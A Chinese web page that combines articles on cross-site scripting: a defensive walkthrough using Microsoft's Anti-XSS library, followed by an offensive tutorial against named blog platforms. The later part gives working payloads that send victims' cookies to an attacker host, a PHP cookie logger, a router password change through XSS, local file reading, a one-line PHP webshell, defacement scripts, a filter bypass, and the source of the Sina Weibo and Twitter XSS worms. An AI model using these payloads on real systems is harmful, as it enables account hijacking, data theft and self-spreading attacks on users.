怎样js 过滤跨站脚本攻击恶意脚本攻击

& XSS跨站脚本攻击全方位学习教程
Carpe Diem and Do what I like您的位置: >>
  本文主要涉及内容:
  1. 什么是XSS
  2. XSS攻击手段和目的
  3. XSS的防范
  4. 新浪微博攻击事件
  什么是XSS
  跨网站脚本(Cross-sitescripting,通常简称为XSS或跨站脚本或跨站脚本攻击)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
  XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java, VBScript, ActiveX, Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
  XSS攻击手段和目的
  攻击者使被攻击者在浏览器中执行脚本后,如果需要收集来自被攻击者的数据(如cookie或其他敏感信息),可以自行架设一个网站,让被攻击者通过JavaScript等方式把收集好的数据作为参数提交,随后以数据库等形式记录在攻击者自己的服务器上。
  常用的XSS攻击手段和目的有:
盗用 cookie ,获取敏感信息。
利用植入 Flash ,通过 crossdomain 权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
利用 iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。
利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果。
  预防手段【asp.net】
  下面展示,如何使用微软Anti-Cross Site 类库来免受XSS攻击。该类库不同于大部分采用包裹原则技术的编码类库来避免XSS攻击。它通过定义一个验证或被允许的字符集来工作,并且编码任何该字符集之外的一切字符(比如他们就可能使无效字符或潜在的攻击)。它提供了比其他编码模式更多的优势。
  示例应用
  Contoso Bookmark Page 是一个简单的web应用,被设计用来允许朋友之间共享他们最喜欢的书签。用户键入他们的名字,描述以及书签或者书签的链接
  数据被保存在App Dataweb应用程序的一个称之为bookmarks.txt的文件中。并且在应用程序显示任何已被保存的书签时读取。当一个书签被提交,用户将看到下面的显示,然后被提供一个链接来回到原来的页面。
  如果应用程序成功地保存了用户提供的数据,书签的列表将被更新,任何其他的使用该应用的用户都可以使用这些被保存的书签。
  最终用户可以通过点击&DeleteBookmark File&来重置书签文件,这将导致bookmarks.txt文件从硬盘上删除。
  攻击该应用
  为了让一个恶意用户对应用发起XSS攻击,它们首先需要找到一些攻击的先决条件:
该应用是不验证输入的
该应用不对输出编码并且其中包含了一些不可信的输入
  Contoso Bookmark Page应用的一个区域&&感谢页面,就符合上面的这些&攻击条件&。当一个用户提交一个链接并且数据被保存,应用会通过响应提交的内容来&感谢&用户。
  注意,感谢页面的输出是通过使用没有验证的不可信的用户输入,并且在响应数据中使用了该输入而没有进行编码。对感谢页面代码的快速检查可以证明这一点。
  一个恶意用户可以简单地利用该XSS攻击条件,通过欺骗用户来访问ThankYou.aspx页面,于此同时传入诸如&script&alert(&XSSVector!&)&/script&到用户名字段中。
  就像你上面看到的那样,脚本被恶意用户注入并在信任的用户浏览器中被执行。
  下面一节,我们将通过一个正式的过程来识别或减轻这些问题。
  注意:在XSS载体已经实施后之后,发现这些问题将会变得很快且很有价值。但如果有一种方式在软件开发的生命周期内致力于在任何代码执行或资源提交之前做早期预测以及历届应用程序的威胁,这样的代价岂不是非常巨大?是的,而且这是一个过程,我们在这里使用微软IT所谓的&威胁建模&来称呼它。
  保护你的应用
  为了保护ContosoBookmark Page应用免受攻击,我们首先需要理解恶意用户能够使用哪些手段来进行这样的攻击。一种不错的想法是,我们应该在设计的时候就应该留意它,使用威胁建模以及一个诸如TAM的工具。我们在应用程序已经被部署之后,使用如下步骤来处理:
步骤一:审查asp.net代码生成的输出
步骤二:决定是否输出包含危险的输入参数
步骤三:决定是否将不被信任的输入上下文作为输出使用
步骤四:对输出编码
  在这一节,我们将使用示例应用来贯穿这些步骤,然后看看我们应该怎样使用微软的Anti-Cross Site Scripting类库 V1.5来避免用户遭受XSS攻击。
  步骤一:审查asp.net生成输出的代码
  记住,为了完成一次成功得XSS攻击,恶意用户必须找到一种方式在应用程序的输出数据中嵌入他们的某些恶意输入。因此,我们需要识别出应用程序中产生输出的代码。这通常不是一件非常简单的任务,特别对那些大型项目而言,并且有些输出可能确实不必要进行编码。这些情况下,下面的表格可以帮助你处理这些大量数据:
  为了正确使用该表格,我们首先要知道我们的应用是干嘛的。表格中的一些项我们可以立即填写:
用例场景需要的输入
输入是否可信
场景的输出
  注意:如果你不确信输入是否可信,宁可谨慎一点,假设他们是不可信的。不可信的输入包括:
  应用程序级别的全局变量
查询字符串变量
Session变量
  基于我们的示例项目,这里我们对该表格可以这样填写:
  这时,当我们客观地填写了该表格,我们就可以很直观地看出,代码中有哪些是完成输出的:
将书签实体写入文件的代码
为用户生成感谢信息页面的代码
  步骤二:决定是否输出中包含不可信的输入
  在该步骤中,我们的目标是确定,是否在上一步筛选的输出中是否包含有任何不可信的用户输入。基于输入和输出场景,现在我们的表格看起来就像如下这样:
  注意:如果你不确定输出中是否包含不确定的输入,保险点,假设他们都是不可信的。
  步骤三:决定是否使用编码函数
  在该步骤,我们的目标是理解我们需要采用哪个编码方法来编码我们的响应数据。如果在表格中下面的条件完全满足,那么输出就有编码的必要:
输入不可信(第三列有一个No输出)
输出包含不可信的输入(第五列有一个yes输出)
输出在web响应数据的上下文中使用
  最终,我们需要决定使用哪个编码函数。接下来的表格将帮助你决定使用哪个编码函数:
  我们最终的表格看起来变成下面的样子:
  根据我们的表格,我们仅需要编码不可信的输入。
  步骤四:编码输出
  现在,我们已经决定了在什么场景下需要编码,其他需要做的就是将微软的Anti-Cross Site 类库加入到我们的项目中取,然后编码不可信的输入并将其内嵌到响应数据中。
  在你安装了微软的Anti-CrossSite scripting类库之后,你可以通过如下步骤将引用添加到你的asp.net应用中去。
  1、 右击项目名称
  2、 选择添加引用选项
  3、 在浏览弹出框中,选择安装的类库目录(%program files%\Microsoft Corporation\Anti-Cross Site ScriptingLibrary V1.5\Library\[.NET 1.1.NET 2.0])然后将dll添加到项目中。
  当我们已经添加了对Anti-CrossSite scripting类库的引用之后,我们就可以对感谢页面的输出进行编码。
  1、 打开ThankYou.aspx的code-behind页面
  2、 直接在引用中添加Microsift.Security.Application
  3、在页面的Page_Load方法中,替代接下来的代码:
// Get the query string parameter 'Name', if it wasn't specified don't write anything
String Name = Request.QueryString["Name"];替代
// Get the query string parameter 'Name', if it wasn't specified don't write anything
String Name = AntiXss.HtmlEncode(Request.QueryString["Name"]);
  4、 重新编译web应用
  现在任何企图通过注入脚本到Name查询字符串字段的方式将会失败,因为不信任的数据以及被AntiXss.HtmlEncode方法嵌入到一个不可知性的表单中去了。
  注意:一个通常的错误是编码不止一次是错误的。这经常会导致输入显示得不正确。例如,一个Hello Microsoft!的输入,被传入Microsoft.Security.Application.AntiXss.HtmlEncode方法中两次,将会导致浏览器打印出HelloMicrosoft&#33&#59;记住,你只需对不可信的输入编码一次即可。
  深度剖析
  为了使恶意用户的攻击变得更加困难,这里有一个定义能够防止更深度的XSS恶意攻击。
  将asp.net的validateRequest属性设置为true
&%@ Page Language="C#" AutoEventWireup="true" CodeFile="ThankYou.aspx.cs" Inherits="ThankYou" validateRequest="true" %&
  对所有的用户输入执行验证。
  当不与XSS攻击有关的时候,一个额外的步骤可以帮助我们减少被攻击的危险,通过在应用程序启动的时候,给其设置一个更低级别的权限。在默认情况下,应用程序是以完全信任的方式启动的。所以,当一个恶意用户访问应用的时候,他也是以一个完全可信的权限来执行相关操作。我们的应用简单地创建一个文件或者向一个文件执行写操作或者读操作,这不需要完全信任的权限来执行这些。我们可以降低它的信任级别到&中级&通过在配置文件中进行如下设置。
&?xml version="1.0"?&
&configuration xmlns="/.NetConfiguration/v2.0"&
&system.web&
&!-- Lowers trust level of application to only what we need, instead of full --&
&trust level="Medium"/&
&/system.web&
&/configuration&
  另外的XSS攻击
  我们忘记了一种用例场景。那就是用户看到的正确加载书签的地方(例如,另一个用户简单地导航到主页面)。在这种情况下,该场景的输入是bookmarks.txt文件。就算我们解决了感谢页面的问题,数据(诸如的脚本等)仍然被保存到了bookmarks.txt中。
  当用户刷新主页面以及打印出来的书签,注入的脚本仍将被执行。
  注意,用户也能够将脚本注入到描述以及书签字段,而不仅仅只是名称字段。我们需要编码任何我们需要从书签文件中读取的数据,因为我们将打印到浏览器上。
  新浪微博的攻击事件
  (日),新浪微博出现了一次比较大的XSS攻击事件。大量用户自动发送诸如:&郭美美事件的一些未注意到的细节&,&建党大业中穿帮的地方&,&让女人心动的100句诗歌&,&3D肉团团高清普通话版种子&,&这是传说中的神仙眷侣啊&,&惊爆!范冰冰艳照真流出了&等等微博和私信,并自动关注一位名为hellosamy的用户。
  事件的经过线索如下:
  20:14,开始有大量带V的认证用户中招转发蠕虫
  20:30,中的病毒页面无法访问
  20:32,新浪微博中hellosamy用户无法访问
  21:02,新浪漏洞修补完毕
  XSS攻击代码简析
function createXHR(){
  return window.XMLHttpRequest?
  new XMLHttpRequest():
  new ActiveXObject("Microsoft.XMLHTTP");
function getappkey(url){
  xmlHttp = createXHR();
  xmlHttp.open("GET",url,false);
  xmlHttp.send();
  result = xmlHttp.responseT
  id_arr = '';
  id = result.match(/namecard=\"true\" title=\"[^\"]*/g);
  for(i=0;i&id.i++){
    sum = id[i].toString().split('"')[3];
    id_arr += sum + '';
  return id_
function random_msg(){
  link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;
  var msgs = [
    '郭美美事件的一些未注意到的细节:',
    '建党大业中穿帮的地方:',
    '让女人心动的100句诗歌:',
    '3D肉团团高清普通话版种子:',
    '这是传说中的神仙眷侣啊:',
    '惊爆!范冰冰艳照真流出了:',
    '杨幂被爆多次被潜规则:',
    '傻仔拿锤子去抢银行:',
    '可以监听别人手机的软件:',
    '个税起征点有望提到4000:'];
  var msg = msgs[Math.floor(Math.random()*msgs.length)] +
  msg = encodeURIComponent(msg);
  return
function post(url,data,sync){
  xmlHttp = createXHR();
  xmlHttp.open("POST",url,sync);
  xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/q=0.9,*/*;q=0.8");
  xmlHttp.setRequestHeader("Content-Type","application/x-www-form- charset=UTF-8");
  xmlHttp.send(data);
function publish(){
  url = '/mblog/publish.php?rnd=' + new Date().getTime();
  data = 'content=' + random_msg() + '&pic=&styleid=2&retcode='
  post(url,data,true);
function follow(){
  url = '/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
  data = 'uid=' +
+ '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
  post(url,data,true);
function message(){
  url = '/' + $CONFIG.$uid + '/follow';
  ids = getappkey(url);
  id = ids.split('');
  for(i=0;i&id.length - 1 & i&5;i++){
    msgurl = '/message/addmsg.php?rnd=' + new Date().getTime();
    msg = random_msg();
    msg = encodeURIComponent(msg);
    user = encodeURIComponent(encodeURIComponent(id[i]));
    data = 'content=' + msg + '&name=' + user + '&retcode=';
    post(msgurl,data,false);  }
function main(){
    publish();
  catch(e){}
    follow();  }
  catch(e){}
    message();
  catch(e){}
    x="g=document.createElement('script');g.src='/images/t.js';document.body.appendChild(g)";
    window.opener.eval(x);  }  catch(e){}}
var t=setTimeout('location="/pub/topic";',5000);
  这段代码相对来讲,还是有点含量的,它使微博广场的URL在请求中注入了JS文件,JS请求完成后,会自动执行,并借发布的微博(包含了对攻击站点的链接)等对的站点完成了攻击。可以看到,其中的main函数,它调用了publish、follow、message几个函数,帮你做那些坏事。
  可见XSS攻击的方式其实还是很多的,让你防不慎防。但是,有时你会发现他们的某些共性&&注入再利用浏览器自动执行。所以,你必须在不可信的输入与输出上严格把关!
其他分类热门文章
其他分类最新文章跨站攻击,即Cross Site Script Execution(通常简写为XSS,因为CSS与层叠样式表同名,故改为XSS) 是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。很多人对于XSS的利用大多停留在弹框框的程度,一些厂商对XSS也是不以为然,都认为安全级别很低,甚至忽略不计。本文旨在讲述关于跨站攻击的利用方式,并结合实例进行分析。
关于对XSS的漏洞测试,这里就以博客大巴为例进行测试,最近我也在上面发现了多处跨站漏洞,其中两处已公布在WooYun网站上,其主要内容如下:
简要描述:
博客大巴存储型XSS漏洞
详细说明:
在&个人信息设置&的&附加信息&一项中,由于对&个人简介&的内容过滤不严,导致可在博客首页实现跨站,而在下方&添加一段附加信息&中,由于对&信息标题&内容过滤不严,同样可导致跨站的出现。
但我刚又测试了一下,发现官方只修补了其中一个漏洞(个人简介),而另一个漏洞得在博客管理后台才能触发,利用价值不大。与此同时我在对博客模板的测试中,又发现了五处跨站漏洞,估计这些漏洞其实很早就有人发现了,只是没人公布或者报给blogbus后仍未修补。这次报给WooYun的主要目的是让blogbus修补此漏洞,因为我的博客就在上面!^_^ 其余五处漏洞分别在&编辑自定义模板&中,由于对代码模块head,index,index-post,detail,detail-post等处的代码过滤不严,导致跨站的发生,分别向其写入&img src="#" onerror=alert("head")&&/img&,为便于区别,我将提示语句更改为对应的名称,前三项在首页可触发脚本,后两项需打开文章才可触发,测试结果如图1、2所示:
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 图1(在首页触发)
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 图2(打开文章触发)
对于其它网站的测试基本也是大同小异,除了手工测试外,你还可使用其它一些自动扫描工具,比如Acunetix Web Scanner&&
一、窃取Cookie
对于跨站的攻击方法,使用最多的莫过于cookie窃取了,获取cookie后直接借助&明小子&工具或其它可修改cookie的浏览器(如装有Cookies Edit插件的Firefox)将cookie修改为获取的cookie,这样即可获得博客的管理权限。
首先,我们在自定义模板的head代码模块中写入
&script&document.write('&img src="http://localhost/test.php?cookie='+document.cookie+'" width=0 height=0 border=0 /&');&/script&
&script&document.location = 'http://localhost/test.php?cookie=' + document.&/script&
这里我把脚本放在本机上,你可以根据脚本地址来更改上面的localhost地址。以上两个均可达到同等效果,但就隐蔽性而言,前者的隐蔽性会更强些,读者可自行选择,当然也有其它语句可达到一样的目的,就看你如何发挥了。接下来我们来编写上面的test.php文件,它主要用于获取对方的cookie,其源代码如下:
$cookie = $_GET['cookie'];&&&&&&&&&&& //以GET方式获取cookie变量值
$ip = getenv ('REMOTE_ADDR');&&&&&&& //远程主机IP地址
$time=date('Y-m-d g:i:s');&&&&&&&&&&& //以&年-月-日 时:分:秒&的格式显示时间
$referer=getenv ('HTTP_REFERER');&&& //链接来源
$agent = $_SERVER['HTTP_USER_AGENT'];&&& //用户浏览器类型
$fp = fopen('cookie.txt', 'a');&&&&&&& //打开cookie.txt,若不存在则创建它
fwrite($fp," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer: ".$referer."\n Cookie: ".$cookie."\n\n\n");&&& //写入文件
fclose($fp);&&& //关闭文件
header("Location: ");&&& //将网页重定向到百度,增强隐蔽性
接下来我们访问博客首页,我这里以http://quan-为测试地址,访问后我们打开http://localhost/cookie.txt 看看cookie.txt 文件是否被创建并写入数据,结果如图3所示:
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 图3
很明显,我们已经成功窃取到cookie了,剩下的事相信大家都知道,这里就不再赘述。
二.渗透路由器
对于处于内网中的用户,我们可以利用XSS来更改路由器密码。我们可以借助默认的密码来登陆路由器,比如URL:http://admin:admin@192.168.1.1,其实很多路由器都是使用默认密码,我这里这台也是如此,直接以admin作为用户名和密码。首先我们先利用Firefox插件Live HTTP headers获取请求头,如图4所示:
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 图4
因此我们可以在head代码模块中写入以下语句:
&script src="http://localhost/1.js"&&/script&
其中1.js源码如下:
window.open("http://admin:admin@192.168.1.1/userRpm/ChangeLoginPwdRpm.htm?oldname=admin&oldpassword=admin&newname=administrator&newpassword=password&newpassword2=password&Save=%B1%A3+%B4%E6");
下面我们试着用http://newadmin:newpass@192.168.1.1登陆,结果如图5所示:
&&&&&&&&&&&&&&&&&&&&&&&&&&& 图5
可见密码已经修改成功!
三、读取本地文件
在不同的浏览器中对本地文件的读取有着不同的限制,之前XEYE team曾有过统计,具体内容如下:
1:& IE6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。
2:& FF3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
3:& opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
4:& 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
以上测试是利用ajax来读取文件的。但是我在windows7平台上用php测试各个最新版浏览器时发现:
1、& Firefox 3.6.10、搜狗浏览器2.2.0.1423、Maxthon 2.5.14、IE8、Chrome 7.0.513.0、360浏览器3.5、世界之窗3.2、TT浏览器4.8均可跨目录读取本地文件。
2、& Opera 10.70不允许读取本地文件,若是读取本地文件会直接给出警告,但你仍可选择继续读取。
我测试用的PHP脚本(该脚本位于D:\riusksk\Webroot\reader.php)代码如下:
$handle = fopen("file://c:\sysiclog.txt", "rb") or die("can't open file");
$contents = '';
while (!feof($handle)) {
&&& $contents .= fread($handle, 1024);
$contents=urldecode($contents);
//$fp = fopen('info.txt', 'a');&&&&&&
//fwrite($fp,$contents);&&
//fclose($fp);&&
fclose($handle);
在存在XSS的地方嵌入上面php文件,方法与cookie劫持一样。由于现在blogbus打不开,可能又是服务器搬迁。这里我以上的漏洞为例进行测试,Firefox下的情况如图6所示:
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 图6
谷歌浏览器Chrome情况如图7所示:
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 图7
搜狗浏览器下的情况如图8所示:
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 图8
傲游浏览器下的情况:
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 图9
IE8下的情况如图10所示:
&&&&&&&&&&&&&&&&&&&&& 图10
360安全浏览器情况如图11所示:
&&&&&&&&&&&&&&&&&&&&&&&&&&&&
&&&&&&& 图11
世界之窗情况如图12所示:
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 图12
TT浏览器情况如图13所示:
&&&&&&&&&&&&&&&&&&&&&&&&&&& 图13
Opera下直接给出警告如图14所示:
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 图14
当然,这些漏洞除了读取文件外,还可写入一句话木马&?php eval($_POST[cmd])?&,为进一步提权提供条件。
四、Hacking HomePage
相信对于很多初学Hack的朋友,都会对那一张张的黑页独有情钟,尤其是当前中美大战中,中国人挂在白宫网站上黑页,让人至今记忆犹新!本节主要就是利用XSS来黑掉别人博客主页,但这里的黑页与入侵服务器来修改主页有很大区别,利用XSS来黑页其实并不是修改服务器上的页面,它只是通过JavaScript,CSS及其它WEB技术来修改页面。这主要就是通过注入js代码,然后在后台执行以达到盗取cookie或劫持浏览器的目的,这些代码往往都是一些HTML或JavaScript代码(往往是使用InnerHTML或者document.write命令来动态创建文本,图像及其它数据信息)。在本文编写过程中,我又发现了博客大巴上的几处跨站,就在&博客设置&中,这里我们就以其中&基础设置&下的&自定义header&一栏为例。我们先在向其写入下列语句:
&script src ="http://localhost/1.js"&&/script&
接下来编写1.js代码:
document.write("&center&&h1&&font color=#FF0000&Hacked By riusksk&/font&&/h1&&/cneter&");
document.write("&center&&h2&&font color=#000000&Just for test !&/font&&h2&&/center&&p&&img src=/6233861/resource_3677044i.jpg&&/p&&p&&!--");
上面的&&!&&主要是用于将后面的页面内容注释掉,避免显示,但这在各浏览器中情况会有所不同,比如我在Chrome中可以起到此作用,但在其它浏览器达不到此效果了,得采用其它注释语句方可,或者先用document.body.innerHTML = '';来清空body主体中的html代码,然后再逐一利用document.createElement创建元素也是可行的。这里我是以Chrome作为测试用的浏览器,访问博客首页后结果如图15所示:
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 图15
成功&黑掉&博客主页!
五、跨站中的&溢出攻击&
相信熟悉缓冲区溢出攻击的朋友,都知道其中的原理:通过向堆栈中填充过多的字节以覆盖返回地址,进而控制程序的执行流程。这里我要讲的XSS攻击方式与溢出有着类似的特点,在此我们以&中国博客网()&为实例进行讲解。经过本人的多次测试,发现上面有着不少XSS漏洞,后来听从乱雪同志的建议,将阵地转移到blogbus,但正如上面所讲到的,结果还是漏洞一堆,看来很多技术人员把博客放在百度空间还是有一定道理,至少它比这些博客网站安全多了。现在回归正传,本节就以发表日志中存在的跨站漏洞为例。我们先像往常一样在日志中输入&script&alert(&riusksk&)&/script&,发表后再查看日志时并未触发脚本,因为其中的&&&、&&&均被过滤掉了,如图16所示:
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 图16
通常&&被过滤掉,xss基本没多大希望了,很多人都会放弃掉了。但是经过本人多次的测试,发现当博客的内容显示方式被设置为&摘要&的时候,也就是如图17所示的情况:
&&&&&&&&&&&&&&&&&&&&& 图17
在这种情况下,博客首页上面显示的文章均会只显示博文的前几行而已,如果此时我们的XSS语句刚好到达这个省略点时,那么它就会因被省略掉而未对其进行过滤,进而触发漏洞。当XSS语句刚好处于这个省略点时,它并未在页面中显示,但仍包含于网页之中。这个省略点就像溢出攻击的&溢出点(返回地址)&一样,通过填充数据到这个点即可触发漏洞。经过测试发现,当XSS语句处于第五行时就可触发漏洞。或者放在第三或四行,接着再在XSS语句后面写几行其它内容,同样也可达到执行脚本的目的。因此这里我们可以在日志中构造如下语句:
AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
&script&alert("riusksk")&/script&
其中每行&A&的个数不限,只要能凑足一行就行了,或者用其它数据填充也是一样的。我们在首页中试着看看效果:
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 图18
正如图18所示,我们已经成功跨站了!再看下此时的情况,如图19所示:
&&&&&&&&&&&&&&&& 图19
很显然,处于省略点的XSS语句并没有经过过滤,这样我们就绕过了它的字符过滤保护!但是如果我们打开这篇博文并不能实现跨站,只有XSS语句处于省略部分时才可达到以上效果。Blogcn上面还有许多处XSS漏洞,但感觉这处的利用方法比较有趣,就提出来与大家分享。虽然这并不是真正意义上的溢出攻击,但如果你嵌入的真正用于溢出某ActiveX控件的代码,比如使用heap spray技术等等,还有之前出现的IE iframe溢出漏洞,利用这些漏洞也是可以实现真正意义上的溢出攻击的。
六、XSS Worm
随着WEB2.0时代的到来,而Ajax就是WEB2.0的标志性技术。AJAX即&Asynchronous JavaScript and XML&(异步JavaScript和XML),AJAX并非缩写词,而是由Jesse James Gaiiett创造的名词,是指一种创建交互式网页应用的网页开发技术。Ajax的出现为XSS蠕虫的发展提供的很大的便利,也因此加速了xss worm技术的传播。这里我们就以之前爆发的Twitte蠕虫为例进行分析,这个XSS worm之前在我的博客上也有提到()。该跨站漏洞主要出现在"Settings" 菜单下的"Name"文本域以及"More info URL"文本域,是由一位来自美国纽约的17岁小伙子写的,当时他花了2小时就全搞定了。其源码分析如下:
function XHConn()
& //创建XMLHttpRequest对象
& var xmlhttp, bComplete =
& //由于Internet Explorer 浏览器使用MSXML 解析器处理XML,而且MSXML 实际上有两种不同的版本,因此采用以下两种方式创建对象
& try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); }&&&&&&&&
& catch (e) { try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); }
& //下面是针对非IE浏览器(包括Mozilla、Firefox、Safari、Opera&&)来创建XMLHttpRequest 对象
& catch (e) { try { xmlhttp = new XMLHttpRequest(); }
& catch (e) { xmlhttp = }}}
& if (!xmlhttp)&&& //若XMLHttpRequest 对象创建失败则返回NULL
& this.connect = function(sURL, sMethod, sVars, fnDone) //创建连接回调函数
&&& if (!xmlhttp)
&&& bComplete =
&&& sMethod = sMethod.toUpperCase();&&& //将发送方式转换为大写字母,即GET或POST
&&&&& if (sMethod == "GET")
&&&&&&& xmlhttp.open(sMethod, sURL+"?"+sVars, true);&&& //以异步连接的方式配置GET请求
&&&&&&& sVars = "";
&&&&& else
&&&&&&& xmlhttp.open(sMethod, sURL, true);
&&&&&&&&&&&&&&& //配置请求头数据
&&&&&&& xmlhttp.setRequestHeader("Method", "POST "+sURL+" HTTP/1.1");
&&&&&&& xmlhttp.setRequestHeader("Content-Type",
&&&&&&&&& "application/x-www-form-urlencoded");
&&&&&&&&& //设置每次请求的就绪状态发生变化时调用的回调函数
&&&&& xmlhttp.onreadystatechange = function(){
&&&&&&& if (xmlhttp.readyState == 4 && !bComplete)&&&&& //当响应已完成
&&&&&&&&& bComplete =
&&&&&&&&& fnDone(xmlhttp);&&&&& //当服务器响应时就会调用回调函数fnDone(),不过这里没有给出此函数
&&&&&&& }};
&&&&& xmlhttp.send(sVars);&&&&& //发送请求
&&& catch(z) { }
function urlencode( str ) {
&&& var histogram = {}, tmp_arr = [];
&&& var ret = str.toString(); //返回字符串
&&& var replacer = function(search, replace, str) {
&&&&&&& var tmp_arr = [];
&&&&&&& tmp_arr = str.split(search);&&& //从search指定的参数将str分割成字符串数组
&&&&&&& return tmp_arr.join(replace);&& //把数组tmp_arr[]中的所有元素通过replace指定的分隔符进行连接,以组成一个字符串
&&& //对下列字符进行URL编码转换
&&& histogram["'"] = '%27';
&&& histogram['('] = '%28';
&&& histogram[')'] = '%29';
&&& histogram['*'] = '%2A';
&&& histogram['~'] = '%7E';
&&& histogram['!'] = '%21';
&&& histogram['%20'] = '+';
&&& ret = encodeURIComponent(ret);
&&& for (search in histogram) {
&&&&&&& replace = histogram[search];
&&&&&&& ret = replacer(search, replace, ret)
&&&&&&& //将%[a-z0-9]这样格式的字符转换为大写字母
&&& return ret.replace(/(\%([a-z0-9]{2}))/g, function(full, m1, m2) {
&&&&&&& return "%"+m2.toUpperCase();
var content = document.documentElement.innerHTML;&&&&&& //当前浏览器中的HTML内容
userreg = new RegExp(/&meta content="(.*)" name="session-user-screen_name"/g);& //利用正则表达式进行全局匹配查找当前登陆的用户名
var username = userreg.exec(content);
username = username[1];
cookie = urlencode(document.cookie);&&& //获取当前cookie并进行URL编码
document.write("&img src='/x.php?c=" + cookie + "&username=" + username + "'&");&&&&& //窃取cookie
document.write("&img src='/log.gif'&");
function wait()
&&&&&&& var content = document.documentElement.innerHTML;
&&&&&&& //利用正则表达式进行全局匹配查找表单变量form_authenticity_token的值,它是一个随机数,可用于阻止CSRF攻击,在发送请求时必须加入此变量值
&&&&&&& authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g);&&&&&&
&&&&&&& var authtoken = authreg.exec(content);
&&&&&&& authtoken = authtoken[1];
&&&&&&& //alert(authtoken);
&&&&&&& //设置一些随机信息用于发送
&&&&&&& var randomUpdate=new Array();
&&&&&&& randomUpdate[0]="Dude,
is awesome. What's the fuss?";
&&&&&&& randomUpdate[1]="Join
everyone!";
&&&&&&& randomUpdate[2]="Woooo,
&&&&&&& randomUpdate[3]="Virus!? What?
is legit!";
&&&&&&& randomUpdate[4]="Wow...";
&&&&&&& randomUpdate[5]="@twitter ";
&&&&&&& var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
&&&&&&& updateEncode = urlencode(genRand);
&&&&&&& var xss = urlencode('"&&/a&&script src="/x.js"&&/script&&a ');
&&&&&&& var ajaxConn = new XHConn();&&& //创建XMLHttpRequest对象
&&&&&&& //下列代码用于发送虚假的twitte信息
&&&&&&& ajaxConn.connect("/status/update", "POST", "authenticity_token="+authtoken+"&status="+updateEncode+"&tab=home&update=update");&&
&&&&&&& var ajaxConn1 = new XHConn();
&&&&&&& //修改设置,以插入恶意脚本进行传播
&&&&&&& ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[url]="+xss+"&tab=home&update=update");
setTimeout("wait()",3250);&&&&& //每3秒左右就调用wait()函数
偶而写写无害病毒,对于提高水平还是有一定帮助的,而且还能引起各网站对安全方面的重视,进而提高网站的安全性,也算是为安全行业做点贡献。至于那些具有攻击性的病毒还是少写为妙,不然法律的制裁是免不的,特别是最近几年,关于信息安全方面的法律也已经逐步完善了。
跨站脚本攻击的方式主要还是依靠利用者的javascript编程水平,你的编程水平够高,就能玩出更高级的花样出来。本文这里讲述的也只是冰山一角,还有其它Attack API,XSS shell,读取密码,攻击Firefox插件&&其它更多的方法还有待大家去挖掘和利用,如果你有其它更好、更有趣的攻击方式,希望可以共同分享一下。
阅读(...) 评论()}

我要回帖

更多关于 跨站脚本攻击 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信